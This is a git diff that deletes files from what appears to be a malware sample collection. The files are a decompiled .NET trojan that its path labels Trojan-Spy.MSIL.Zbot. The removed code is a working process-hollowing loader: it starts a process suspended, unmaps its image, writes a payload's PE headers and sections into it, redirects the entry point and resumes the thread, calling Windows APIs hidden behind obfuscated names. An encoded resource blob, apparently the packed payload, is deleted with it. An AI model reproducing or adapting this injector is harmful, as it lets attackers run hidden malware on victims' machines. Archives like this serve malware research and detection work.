WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags(); - object obj4 = (object) new WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags(); - object Instance2 = (object) GCHandle.Alloc((object) data, GCHandleType.Pinned); - int integer = Conversions.ToInteger(NewLateBinding.LateGet(NewLateBinding.LateGet(Instance2, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (Type) null, "ToInt32", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.DOS_Header dosHeader1 = new WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.DOS_Header(); - Type Type = typeof (Marshal); - object[] objArray1 = new object[2]; - object[] objArray2 = objArray1; - object Instance3 = Instance2; - object objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(Instance3, (Type) null, "AddrOfPinnedObject", new object[0], (string[]) null, (Type[]) null, (bool[]) null)); - objArray2[0] = objectValue; - objArray1[1] = (object) dosHeader1.GetType(); - object[] objArray3 = objArray1; - object[] Arguments = objArray3; - bool[] flagArray = new bool[2]{ true, false }; - bool[] CopyBack = flagArray; - object obj5 = NewLateBinding.LateGet((object) null, Type, "PtrToStructure", Arguments, (string[]) null, (Type[]) null, CopyBack); - if (flagArray[0]) - NewLateBinding.LateSetComplex(Instance3, (Type) null, "AddrOfPinnedObject", new object[1] - { - RuntimeHelpers.GetObjectValue(objArray3[0]) - }, (string[]) null, (Type[]) null, true, false); - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.DOS_Header dosHeader2; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.DOS_Header dosHeader3 = obj5 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.DOS_Header) obj5 : dosHeader2; - NewLateBinding.LateCall(Instance2, (Type) null, "Free", new object[0], (string[]) null, (Type[]) null, (bool[]) null, true); - string str1 = (string) null; - ref string local1 = ref str1; - ref string local2 = ref target; - object obj6 = obj3; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags securityFlags1; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags securityFlags2 = obj6 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags) obj6 : securityFlags1; - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags local3 = ref securityFlags2; - object obj7 = obj4; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags securityFlags3 = obj7 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags) obj7 : securityFlags1; - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags local4 = ref securityFlags3; - IntPtr num1; - IntPtr system = num1; - string str2 = (string) null; - ref string local5 = ref str2; - object obj8 = obj2; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Startup_Information startupInformation1; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Startup_Information startupInformation2 = obj8 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Startup_Information) obj8 : startupInformation1; - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Startup_Information local6 = ref startupInformation2; - object obj9 = obj1; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Process_Information processInformation1; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Process_Information processInformation2 = obj9 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Process_Information) obj9 : processInformation1; - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Process_Information local7 = ref processInformation2; - int num2 = WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.ilogGUNx(ref local1, ref local2, ref local3, ref local4, false, 4U, system, ref local5, ref local6, out local7) ? 1 : 0; - object Instance4 = (object) processInformation2; - object Instance5 = (object) startupInformation2; - object obj10 = (object) securityFlags3; - object obj11 = (object) securityFlags2; - if (-((uint) num2 > 0U ? 1 : 0) == 0) - return; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.NT_Headers ntHeaders1 = new WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.NT_Headers(); - object structure1 = Marshal.PtrToStructure(new IntPtr(checked (integer + dosHeader3.Address)), ntHeaders1.GetType()); - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.NT_Headers ntHeaders2; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.NT_Headers ntHeaders3 = structure1 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.NT_Headers) structure1 : ntHeaders2; - NewLateBinding.LateSet(Instance5, (Type) null, "CB", new object[1] - { - (object) Strings.Len(RuntimeHelpers.GetObjectValue(Instance5)) - }, (string[]) null, (Type[]) null); - NewLateBinding.LateSet(Instance1, (Type) null, "Flags", new object[1] - { - (object) 65538 - }, (string[]) null, (Type[]) null); - if (ntHeaders3.Signature != 17744U | dosHeader3.Magic != (ushort) 23117) - return; - object obj12 = NewLateBinding.LateGet(Instance4, (Type) null, "Thread", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr thread1 = obj12 != null ? (IntPtr) obj12 : num1; - object obj13 = Instance1; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context context1; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context context2 = obj13 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context) obj13 : context1; - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context local8 = ref context2; - int num3 = WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.FZemcIRRQVryGkxwNQTLjyrbKMgJNbYHUttVdpS(thread1, ref local8) ? 1 : 0; - object Instance6 = (object) context2; - object obj14 = NewLateBinding.LateGet(Instance4, (Type) null, "Process", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr process1 = obj14 != null ? (IntPtr) obj14 : num1; - object obj15 = Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "Ebx", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8); - IntPtr address1 = obj15 != null ? (IntPtr) obj15 : num1; - long num4; - IntPtr ptr = (IntPtr) num4; - ref IntPtr local9 = ref ptr; - IntPtr size1 = (IntPtr) 4; - int num5 = 0; - ref int local10 = ref num5; - int num6 = WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.pdPqNMnV(process1, address1, ref local9, size1, ref local10); - long num7 = (long) ptr; - int num8 = num6 >= 0 ? 1 : 0; - int num9 = num3 & num8; - object obj16 = NewLateBinding.LateGet(Instance4, (Type) null, "Process", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - int num10 = WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.xUqPHDOf(obj16 != null ? (IntPtr) obj16 : num1, (IntPtr) num7) >= 0L ? 1 : 0; - if ((num9 & num10) == 0) - return; - object obj17 = NewLateBinding.LateGet(Instance4, (Type) null, "Process", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - uint num11 = checked ((uint) (int) WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.mYcDdoiB(unchecked (obj17 != null) ? (IntPtr) obj17 : num1, (IntPtr) (long) ntHeaders3.Optional.Image, ntHeaders3.Optional.SImage, 12288U, 4U)); - if (num11 == 0U) - return; - object obj18 = NewLateBinding.LateGet(Instance4, (Type) null, "Process", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr process2 = obj18 != null ? (IntPtr) obj18 : num1; - IntPtr address2 = (IntPtr) (long) num11; - byte[] buffer1 = data; - IntPtr sheaders = (IntPtr) (long) ntHeaders3.Optional.SHeaders; - uint num12; - int num13 = checked ((int) num12); - ref int local11 = ref num13; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.fhCejwIc(process2, address2, buffer1, sheaders, out local11); - uint num14 = checked ((uint) num13); - long num15 = (long) checked (dosHeader3.Address + 248); - int num16 = checked ((int) ntHeaders3.File.Sections - 1); - int num17 = 0; - int num18; - while (num17 <= num16) - { - ptr = new IntPtr(checked ((long) integer + num15 + (long) (num17 * 40))); - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Section_Header sectionHeader1; - object structure2 = Marshal.PtrToStructure(ptr, sectionHeader1.GetType()); - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Section_Header sectionHeader2; - sectionHeader1 = structure2 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Section_Header) structure2 : sectionHeader2; - byte[] numArray = new byte[checked ((int) sectionHeader1.Size + 1)]; - int num19 = checked ((int) ((long) sectionHeader1.Size - 1L)); - int index = 0; - while (index <= num19) - { - numArray[index] = data[checked ((int) ((long) sectionHeader1.Pointer + (long) index))]; - checked { ++index; } - } - object obj19 = NewLateBinding.LateGet(Instance4, (Type) null, "Process", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr process3 = obj19 != null ? (IntPtr) obj19 : num1; - IntPtr address3 = (IntPtr) (long) checked (num11 + sectionHeader1.Address); - byte[] buffer2 = numArray; - IntPtr size2 = (IntPtr) (long) sectionHeader1.Size; - num18 = checked ((int) num14); - ref int local12 = ref num18; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.fhCejwIc(process3, address3, buffer2, size2, out local12); - num14 = checked ((uint) num18); - object obj20 = NewLateBinding.LateGet(Instance4, (Type) null, "Process", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.VirtualauOIxdmnEx(obj20 != null ? (IntPtr) obj20 : num1, (IntPtr) (long) checked (num11 + sectionHeader1.Address), (UIntPtr) sectionHeader1.Misc.Size, (UIntPtr) checked ((ulong) WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.auOIxdmn((long) sectionHeader1.Flags)), checked ((uint) num7)); - checked { ++num17; } - } - object bytes = (object) BitConverter.GetBytes(num11); - object obj21 = NewLateBinding.LateGet(Instance4, (Type) null, "Process", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr process4 = obj21 != null ? (IntPtr) obj21 : num1; - object obj22 = Operators.AddObject(NewLateBinding.LateGet(Instance6, (Type) null, "Ebx", new object[0], (string[]) null, (Type[]) null, (bool[]) null), (object) 8); - IntPtr address4 = obj22 != null ? (IntPtr) obj22 : num1; - byte[] buffer3 = (byte[]) bytes; - IntPtr size3 = (IntPtr) 4; - num18 = checked ((int) num14); - ref int local13 = ref num18; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.fhCejwIc(process4, address4, buffer3, size3, out local13); - num12 = checked ((uint) num18); - NewLateBinding.LateSet(Instance6, (Type) null, "Eax", new object[1] - { - (object) checked (num11 + ntHeaders3.Optional.Address) - }, (string[]) null, (Type[]) null); - object obj23 = NewLateBinding.LateGet(Instance4, (Type) null, "Thread", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - IntPtr thread2 = obj23 != null ? (IntPtr) obj23 : num1; - object obj24 = Instance6; - context2 = obj24 != null ? (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context) obj24 : context1; - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context local14 = ref context2; - WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.lRpHhHSMeOkUflhsKYghrPKnoVbuDsYTUSXIPWm(thread2, ref local14); - object obj25 = (object) context2; - object obj26 = NewLateBinding.LateGet(Instance4, (Type) null, "Thread", new object[0], (string[]) null, (Type[]) null, (bool[]) null); - int num20 = (int) WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.uQENkfJL(obj26 != null ? (IntPtr) obj26 : num1); - } - - private static long ezBKUPsI(long lValue, long lNumberOfBitsToShift) => checked ((long) Math.Round(unchecked (WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.vbLongToULong(lValue) / Math.Pow(2.0, (double) lNumberOfBitsToShift)))); - - private static double vbLongToULong(long Value) => Value >= 0L ? (double) Value : (double) Value + 4294967296.0; - - private static long auOIxdmn(long characteristics) => Conversions.ToLong(new object[8] - { - (object) 1L, - (object) 16L, - (object) 2U, - (object) 32L, - (object) 4L, - (object) 64L, - (object) 4L, - (object) 64L - }[checked ((int) WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.ezBKUPsI(characteristics, 29L))]); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal class H - { - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool ilogGUNx( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string name, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string command, - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags process, - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Security_Flags thread, - bool inherit, - uint flags, - IntPtr system, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string current, - [In] ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Startup_Information startup, - out WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Process_Information info); - - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool fhCejwIc( - IntPtr process, - IntPtr address, - byte[] buffer, - IntPtr size, - out int written); - - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int pdPqNMnV( - IntPtr process, - IntPtr address, - ref IntPtr buffer, - IntPtr size, - ref int read); - - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern int VirtualauOIxdmnEx( - IntPtr process, - IntPtr address, - UIntPtr size, - UIntPtr @new, - [Out] uint old); - - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern IntPtr mYcDdoiB( - IntPtr process, - IntPtr address, - uint size, - uint type, - uint auOIxdmn); - - [DllImport("ntdll", CharSet = CharSet.Auto, SetLastError = true)] - public static extern long xUqPHDOf(IntPtr process, IntPtr address); - - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern uint uQENkfJL(IntPtr thread); - - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool FZemcIRRQVryGkxwNQTLjyrbKMgJNbYHUttVdpS( - IntPtr thread, - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context context); - - [DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)] - public static extern bool lRpHhHSMeOkUflhsKYghrPKnoVbuDsYTUSXIPWm( - IntPtr thread, - ref WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Context context); - - public struct Context - { - public uint Flags; - public uint D0; - public uint D1; - public uint D2; - public uint D3; - public uint D6; - public uint D7; - public WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Save Save; - public uint SG; - public uint SF; - public uint SE; - public uint SD; - public uint Edi; - public uint Esi; - public uint Ebx; - public uint Edx; - public uint Ecx; - public uint Eax; - public uint Ebp; - public uint Eip; - public uint SC; - public uint EFlags; - public uint Esp; - public uint SS; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 512)] - public byte[] Registers; - } - - public struct Save - { - public uint Control; - public uint Status; - public uint Tag; - public uint ErrorO; - public uint ErrorS; - public uint DataO; - public uint DataS; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 80)] - public byte[] RegisterArea; - public uint State; - } - - public struct Misc - { - public uint Address; - public uint Size; - } - - public struct Section_Header - { - public byte Name; - public WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Misc Misc; - public uint Address; - public uint Size; - public uint Pointer; - public uint PRelocations; - public uint PLines; - public uint NRelocations; - public uint NLines; - public uint Flags; - } - - public struct Process_Information - { - public IntPtr Process; - public IntPtr Thread; - public int ProcessId; - public int ThreadId; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct Startup_Information - { - public int CB; - public string ReservedA; - public string Desktop; - public string Title; - public int X; - public int Y; - public int XSize; - public int YSize; - public int XCount; - public int YCount; - public int Fill; - public int Flags; - public short ShowWindow; - public short ReservedB; - public int ReservedC; - public int Input; - public int Output; - public int Error; - } - - public struct Security_Flags - { - public int Length; - public IntPtr Descriptor; - public int Inherit; - } - - public struct DOS_Header - { - public ushort Magic; - public ushort Last; - public ushort Pages; - public ushort Relocations; - public ushort Size; - public ushort Minimum; - public ushort Maximum; - public ushort SS; - public ushort SP; - public ushort Checksum; - public ushort IP; - public ushort CS; - public ushort Table; - public ushort Overlay; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] - public ushort[] ReservedA; - public ushort ID; - public ushort Info; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)] - public ushort[] ReservedB; - public int Address; - } - - public struct NT_Headers - { - public uint Signature; - public WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.File_Header File; - public WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Optional_Headers Optional; - } - - public struct File_Header - { - public ushort Machine; - public ushort Sections; - public uint Stamp; - public uint Table; - public uint Symbols; - public ushort Size; - public ushort Flags; - } - - public struct Optional_Headers - { - public ushort Magic; - public byte Major; - public byte Minor; - public uint SCode; - public uint IData; - public uint UData; - public uint Address; - public uint Code; - public uint Data; - public uint Image; - public uint SectionA; - public uint FileA; - public ushort MajorO; - public ushort MinorO; - public ushort MajorI; - public ushort MinorI; - public ushort MajorS; - public ushort MinorS; - public uint Version; - public uint SImage; - public uint SHeaders; - public uint Checksum; - public ushort Subsystem; - public ushort Flags; - public uint SSReserve; - public uint SSCommit; - public uint SHReserve; - public uint SHCommit; - public uint LFlags; - public uint Count; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)] - public WSHbRIWgPPCoQlyNuMxCbQNHZWtPntpCFToqzKEhxQkExnTccbfRKRvIIYb.QnXhnjvMNiktRycrYexGvbWWVaLELpQCSVYQ.H.Data_Directory[] DataDirectory; - } - - public struct Data_Directory - { - public uint Address; - public uint Size; - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/AssemblyInfo.cs b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/AssemblyInfo.cs deleted file mode 100644 index 0d216f23..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/AssemblyInfo.cs +++ /dev/null @@ -1,5 +0,0 @@ -using System.Reflection; -using System.Security.Permissions; - -[assembly: AssemblyVersion("0.0.0.0")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/FZyIKqFyuZaIAgE.resx b/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/FZyIKqFyuZaIAgE.resx deleted file mode 100644 index bb57cced..00000000 --- a/MSIL/Trojan-Spy/MSIL/Z/Trojan-Spy.MSIL.Zbot.dnp-05efb13989a95186166dd732189e33371c9892a27642ec5280fd053d6261b695/FZyIKqFyuZaIAgE.resx +++ /dev/null @@ -1,5122 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - % ÆOGTNLPeokž–HhÂVODTNLT%okaiHhzVODTNLTeokaiHhzVODTNLTeokaiHèzVOJKôBTÑf¦@ÑI$·w,==l$� %H7!*;:l6�Ohv n!; -EldBLzVODTNL ok-hKh-Ëß -TNLTeoka‰Hj{]NLTNzReomaiHhzV‘RNLteokoHhzODtNLTgokeiHhzVODPNLTeokaiènzVMDTNLTemk!ìHhjVOTTNLTuokqiHhzVOTTNLTeokaiHhòIDNLTemañJhzVODTNLTeokaiHhzVOÄRN@TeokaiHhzVODTNLTeokaiHhzVODTNLTeokaiHhzVODTNLTeokaiHHzVGDTNLTeokaiH`ZVO TNLTeokaiHhT"*< NLTZmaihhzVyBTNNTeokaiHhzVODTNlTeE: zVOÜVNLTikamHhznIDTNLTeokaiHhzOD`>1 �aiDhzVOÄRNLVeok]oHhzVODTNLTeok!iH*zVODTNLTeokaiHhz–BTNLTe'kaiJhV7zRN\CeohaiHizVI¬sNLÛsikaiHhzVODTNLTeokaiHhzVODTNLTeokaiHhzVODTNV|gokgCHsJROîVNLUeozhHh -~KDTD?Qeoako:azV?+RNL^nitiHPOD^BJ&FokNhz\BB&aLT�maiB{~AÂOTNMGs~}wuhz&íUB]IKGlaiB@rVONGH2]eoarn`bzVE63NL$ -dkac[`kP\SB]T}~|pqÒ{sGHU]f@TeexfxP"EWUL_[Ú ]‹pn:ïzV?+YNL^_±kaiWrRQOD^<ßTeCoiHb 